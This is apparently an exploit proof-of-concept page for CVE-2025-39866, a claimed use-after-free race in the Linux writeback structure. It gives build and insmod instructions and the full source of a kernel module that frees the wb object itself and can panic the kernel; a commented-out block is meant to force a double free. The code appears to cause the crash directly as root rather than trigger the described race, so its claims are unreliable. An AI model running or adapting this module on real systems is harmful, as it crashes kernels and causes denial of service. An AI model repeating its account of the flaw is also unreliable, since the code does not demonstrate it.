use-after-free - wb struct

Description

This POC attempts to exploit the CVE-2025-39866 vulnerability, which is a flaw in Linux systems < 6.12.16 due to the lack of a spinlock for threads, causing a race condition. The first thread tries to use the wb struct while thread 2 frees this structure, causing the first thread to deal with a free pointer, leading to a kernel panic for the system. We can divide the idea of exploiting the vulnerability into the following stages:

  1. Step 1 — Thread 1 (main PID) :
    • Create thread 1 and get the main PID.
    • Create the target file (e.g. /tmp/file.txt) and write data (writeback target).
    • Obtain the file's inode structure.
    • Obtain/create the writeback object (wb).
    • Save the pointer to the wb object in wb_old (preserve it for later).
  2. Step 2 — Thread 2 (kthread) and work item :
    • Create Thread 2 (a kernel thread / kthread) which prepares and schedules a work item.
    • The work item executes inode_switch_wbs_work_fn, updates inode->i_wb and triggers the critical free by calling wb_put_many.
  3. Step 3 — Race condition and crash :
    • Thread 2 frees the wb_old object (via the workqueue).
    • Thread 1 later uses the pointer to the wb object (now freed) — use-after-free.
    • Access to the freed address leads to kernel crash / panic (segfault / oops).

Author :

Build :

1 - He created a Makefile and included these commands to compile and build the kernel module:

        obj-m += exploit.o

        KDIR := /usr/src/linux-headers-6.12.38+kali-amd64
        PWD := $(shell pwd)

        all:
                make -C $(KDIR) M=$(PWD) modules

        clean:
                make -C $(KDIR) M=$(PWD) clean

Run Poc :

   	# make clean 
        # make 
        1 -  You will find a file named "exploit.ko," which is a kernel module. To load it into the kernel space, use the insmod tool :
        # insmod exploit.ko 
    

Poc:

File: poc.c — Size: 8,87 KB — Lines: 323

 
        #include <linux/kernel.h>
        #include <linux/init.h>
        #include <linux/slab.h>
        #include <linux/sched.h>
        #include <linux/pid.h>
        #include <linux/kthread.h>
        #include <linux/delay.h>
        #include <linux/workqueue.h>
        #include <linux/namei.h>
        #include <linux/err.h>
        #include <linux/fs.h>
        #include <linux/uaccess.h>
        #include <linux/string.h>
        #include <linux/fdtable.h>
        #include <linux/file.h>
        #include <linux/backing-dev.h>
        #include <linux/writeback.h>
        
        static void inode_switch_wbs_work_fn(struct work_struct* work);
        struct bdi_writeback* oldWbValue;
        struct inode* oldIndode;
        static struct workqueue_struct* cleanWORK;
        
        struct my_wb_work 
        {
            struct work_struct work;
            struct bdi_writeback* wb_old; 
            struct inode* inode;
        };
        struct myWriteback
        {
            int data;
            atomic_t refcount;
        };
        
        static void inode_switch_wbs_work_fn(struct work_struct* work)
        {
            struct my_wb_work* wbWork = container_of(work, 
                struct my_wb_work, 
                work);
            wb_put_many(wbWork->wb_old, 1);
        
            kfree(wbWork);
        }
        
        static int func1(void)
        {
            pid_t mainPid;
            struct pid* pidS;
            struct task_struct* task;
        
            mainPid = current->tgid;
            if (mainPid == 0)
            {
                printk(KERN_ERR "[-] PID IS 0 !\n");
                return -EINVAL;
            }
        
            printk(KERN_INFO "[+] MAIN PID (thread 1) : %d\n", mainPid);
        
            pidS = find_get_pid(mainPid);
            if (!pidS)
            {
                printk(KERN_ERR "[-] PID %d not found, Exit...\n", mainPid);
                return -ESRCH;
            }
        
            task = pid_task(pidS, PIDTYPE_PID);
            if (!task)
            {
                printk(KERN_ERR "[-] Task Struct for PID %d not found\n", mainPid);
                return -ESRCH;
            }
        
            printk(KERN_INFO "[+] Found process: %s with PID: %d\n", task->comm, task->pid);
            
            printk(KERN_INFO "[+] Get Root Dentry (/tmp)...\n");
            struct path path;
            int v = kern_path("/tmp",
                LOOKUP_FOLLOW, 
                &path);
            if (v)
            {
                printk(KERN_ERR "[-] Cannot get path tmp !\n");
                return -EINVAL;
            }
            printk(KERN_INFO "[+] Get Path tmp success.\n");
            struct dentry* rootDentry = path.dentry;
            struct vfsmount* mount = path.mnt;
            if (rootDentry != NULL && mount != NULL)
            {
                printk(KERN_INFO "[+] Get Success ROOT DENTRY AND MOUNT POINT.\n");
                printk(KERN_INFO "[+] PATH Root Dentry : %s\n", 
                    rootDentry->d_name.name);
                printk(KERN_INFO "[+] Mount root (ID) : %s\n", 
                    mount->mnt_sb->s_id);
        
            }
            struct file* filp;
            int fd;
            fd = get_unused_fd_flags(O_CLOEXEC);
            if (fd < 0)
            {
                return fd;
            }
            printk(KERN_INFO "[+] File Create Module, Initializing...\n");
            filp = filp_open("/tmp/file.txt",
                   O_WRONLY | O_CREAT,
                    0600);
            if (IS_ERR(filp))
            {
                int e = PTR_ERR(filp);
                put_unused_fd(fd);
                printk(KERN_ERR "[-] File OPEN failed : %d\n", 
                    e);
                return e;
            }
            fd_install(fd, 
                filp);
            printk(KERN_INFO "[+] File /tmp/file.txt created and installed on fd=%d\n", fd);
            char* data = "Target File.\n";
            ssize_t w; 
            loff_t offset = 0;
            w = kernel_write(filp, 
                data, 
                strlen(data), 
                &offset);
            if (w < 0)
            {
                printk(KERN_ERR "[-] Kernel Write Data failed : %zd\n", 
                    w);
            }
            else 
            {
                printk(KERN_INFO "[+] Write %zd bytes to file\n", 
                    w);
                if (offset != 0)
                {
                    printk(KERN_INFO "[+] Current offset in file: %lld\n", 
                        (long long)offset);
                }
            }
            struct inode* inode;
            inode = file_inode(filp);
            if (!inode)
            {
                pr_err("[-] No INODE IN FILE !\n");
                return -EINVAL;
            }
            __mark_inode_dirty(inode, 
                I_DIRTY_SYNC);
            
            struct address_space* mapping;
            mapping = inode->i_mapping;
            struct backing_dev_info* bdi = inode_to_bdi(inode);
            struct bdi_writeback* wb = &bdi->wb;
            if (bdi != NULL && (wb != NULL && mapping != NULL))
            {
                printk(KERN_INFO "[+] WB object Get Success.\n");
                printk(KERN_INFO "[+] WB Pointer : %p\n",
                    wb);
                printk(KERN_INFO "[+] Pointer Mapping inode : %p\n",
                    mapping);
            }
            else
            {
                printk(KERN_ERR "[-] Error get WB and mapping inode (NULL value) !\n");
                return -EINVAL;
            }
            put_task_struct(task);
            put_pid(pidS);
            oldWbValue = wb;
            oldIndode = inode;
            return 0;
        }
        static int func2(void *data)
        {
            bool done = false;
            while (!kthread_should_stop())
            {
                struct task_struct* taskThread2;
                struct pid* pidStruct;
                printk(KERN_INFO "[+] Thread 2 is RUN SUCCESS.\n");
                ssleep(1);
                pid_t kthreadPid;
                
                kthreadPid = current->tgid;
                printk(KERN_INFO "[+] PID thread 2 : %d\n", kthreadPid);
                if (kthreadPid == 0)
                {
                    printk(KERN_ERR "[-]  Error get TGID !\n");
                    return -EINVAL;
                }
                printk(KERN_INFO "[+] TGID Thread 2 : %d\n", kthreadPid);
                
                pidStruct = find_get_pid(kthreadPid);
                if (!pidStruct)
                {
                    printk(KERN_ERR "[-] Error Find PID thread 2 !\n");
                }
                taskThread2 = pid_task(pidStruct,
                    PIDTYPE_PID);
                if (taskThread2)
                {
                    get_task_struct(taskThread2);
                }
                else
                {
                    printk(KERN_INFO "[-] Error get TASK struct !\n");
                    return -EINVAL;
                }
                printk(KERN_INFO "[+] Found process thread 2 : %s with PID: %d\n", 
                    taskThread2->comm, 
                    taskThread2->pid);        
                if (oldWbValue == NULL || oldIndode == NULL)
                {
                    printk("[-] Error switch wb_old (NULL value) OR (inode_old NULL) !\n");
                    return -EINVAL;
                }
                struct my_wb_work* wbWork = kmalloc(sizeof(*wbWork),
                    GFP_KERNEL);
                
                if (!wbWork) 
                {
                    printk(KERN_ERR "[-] Error allocating WB work struct!\n");
                    return -ENOMEM;
                }
                printk(KERN_INFO "[+] Get WB work Success (NOT NULL struct)\n");
                wbWork->wb_old = oldWbValue;
                wbWork->inode = oldIndode;
                if (wbWork->wb_old == NULL ||
                    wbWork->inode == NULL)
                {
                    printk(KERN_INFO "[-] Error Set old inode and wb, Exit...\n");
                    return -EINVAL;
                }
                printk(KERN_INFO "[+] Set Success OLD WB AND OLD INODE (o_inode && old_wb Not NULL).\n");
                if (!cleanWORK) 
                {
                    cleanWORK = alloc_workqueue("cleanWB", 
                        WQ_UNBOUND | WQ_MEM_RECLAIM, 
                        0);
                }
                INIT_WORK(&wbWork->work, 
                    inode_switch_wbs_work_fn);
                bool queue = queue_work(cleanWORK, 
                    &wbWork->work);
                if (queue == false)
                {
                    printk(KERN_WARNING "[-] Work was already queued, not added again!\n");
                    return -1;
                }
                printk(KERN_INFO "[+] Switch wb_old and inode_old Sucess (inode_switch_wbs_work_fn)\n");
                put_task_struct(taskThread2);
                put_pid(pidStruct);
                printk(KERN_INFO "[+] PUT PID AND Struct TASK...\n");
                printk(KERN_INFO "[+] Free old wb...\n");
                // POC CONFIRMATION: Uncomment this block if you want to verify the Race Condition success. 
            // A resulting Double Free will confirm the pointer was previously freed by wb_put_many().
                //struct kmem_cache* cacheWB; 
                //cacheWB = kmem_cache_create("cacheWB",
                    //sizeof(struct myWriteback),
                    //0, SLAB_HWCACHE_ALIGN, 
                    //NULL);
        
                //struct writeback* wbCopy = kmem_cache_alloc(cacheWB, GFP_KERNEL);
                //wbCopy = (struct writeback*)oldWbValue;
                //kmem_cache_free(cacheWB, wbCopy);
                done = true;
                if (done == true)
                {
                    break;
                } 
            }
            
            return 0;
        
        }
        struct task_struct* threadE;
        
        static int __init initM(void)
        {
            printk(KERN_INFO "[+] Module loaded successfully\n");
            if (func1() != 0)
            {
                printk(KERN_ERR "[-] func1 failed, exiting module\n");
                return -1;  
            }
            threadE = kthread_run(func2, 
                NULL, 
                "threaD2");
            if (IS_ERR(threadE)) 
            {
                printk(KERN_ERR "[-] Failed to create thread 2\n");
                return PTR_ERR(threadE);
            }
            
            return 0;
        }
        
        static void __exit exitM(void)
        {
            if (threadE)
            {
                kthread_stop(threadE);
                threadE = NULL;
            }
            if (cleanWORK) 
            {
                flush_workqueue(cleanWORK);   
                destroy_workqueue(cleanWORK); 
                cleanWORK = NULL;
            }
              
            printk(KERN_ALERT "[+] Module removed.\n");
        }
        
        module_init(initM);
        module_exit(exitM);
        MODULE_LICENSE("GPL v2");
        MODULE_AUTHOR("Byte Reaper");
        MODULE_DESCRIPTION("Exploit for CVE-2025-39866");
Download

References :